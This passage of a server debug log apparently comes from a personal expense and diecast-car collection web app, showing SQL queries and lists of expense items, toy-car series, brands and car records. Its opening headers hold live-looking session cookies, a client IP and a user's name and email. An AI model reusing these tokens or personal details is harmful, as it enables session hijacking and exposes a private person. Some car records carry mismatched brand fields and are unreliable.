    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T07:01:35.989Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:01:35.990Z server-connect:app Executing action step identify
2026-02-04T07:01:35.990Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:35.990Z server-connect:output identity: 1
2026-02-04T07:01:35.990Z server-connect:app Executing action step restrict
2026-02-04T07:01:35.990Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:35.990Z server-connect:output restrict: undefined
2026-02-04T07:01:35.990Z server-connect:app Executing action step select
2026-02-04T07:01:35.990Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:01:35.996Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-04T07:01:35.998Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:01:36.000Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:01:36.001Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:01:36.001Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:01:36.002Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T07:01:36.002Z server-connect:app Executing action step identify
2026-02-04T07:01:36.002Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:36.002Z server-connect:output identity: 1
2026-02-04T07:01:36.002Z server-connect:app Executing action step restrict
2026-02-04T07:01:36.002Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:36.003Z server-connect:app Executing action step identify
2026-02-04T07:01:36.003Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:36.003Z server-connect:output identity: 1
2026-02-04T07:01:36.003Z server-connect:app Executing action step restrict
2026-02-04T07:01:36.003Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:36.003Z server-connect:output restrict: undefined
2026-02-04T07:01:36.003Z server-connect:app Executing action step single
2026-02-04T07:01:36.003Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:01:36.004Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T07:01:36.004Z server-connect:app Executing action step identify
2026-02-04T07:01:36.004Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:36.004Z server-connect:output identity: 1
2026-02-04T07:01:36.004Z server-connect:app Executing action step restrict
2026-02-04T07:01:36.004Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:36.004Z server-connect:app Executing action step identify
2026-02-04T07:01:36.004Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:36.004Z server-connect:output identity: 1
2026-02-04T07:01:36.004Z server-connect:app Executing action step restrict
2026-02-04T07:01:36.004Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:36.004Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T07:01:36.005Z server-connect:output restrict: undefined
2026-02-04T07:01:36.005Z server-connect:app Executing action step select
2026-02-04T07:01:36.005Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:01:36.005Z server-connect:output restrict: undefined
2026-02-04T07:01:36.005Z server-connect:app Executing action step paged
2026-02-04T07:01:36.005Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:01:36.006Z server-connect:output restrict: undefined
2026-02-04T07:01:36.006Z server-connect:app Executing action step select
2026-02-04T07:01:36.006Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:01:36.006Z server-connect:app Executing action step identify
2026-02-04T07:01:36.006Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:36.006Z server-connect:output identity: 1
2026-02-04T07:01:36.007Z server-connect:app Executing action step restrict
2026-02-04T07:01:36.007Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:36.007Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T07:01:36.008Z server-connect:app Executing action step identify
2026-02-04T07:01:36.008Z server-connect:app options: { provider: 'security' }
2026-02-04T07:01:36.008Z server-connect:output identity: 1
2026-02-04T07:01:36.008Z server-connect:app Executing action step restrict
2026-02-04T07:01:36.008Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:01:36.008Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 }
]
2026-02-04T07:01:36.009Z server-connect:output restrict: undefined
2026-02-04T07:01:36.009Z server-connect:app Executing action step select
2026-02-04T07:01:36.009Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T07:01:36.010Z server-connect:output restrict: undefined
2026-02-04T07:01:36.010Z server-connect:app Executing action step select
2026-02-04T07:01:36.010Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:01:36.010Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes-Benz', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T07:01:36.012Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes-Benz' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T07:01:36.012Z server-connect:app Executing action step select
2026-02-04T07:01:36.012Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T07:01:36.013Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
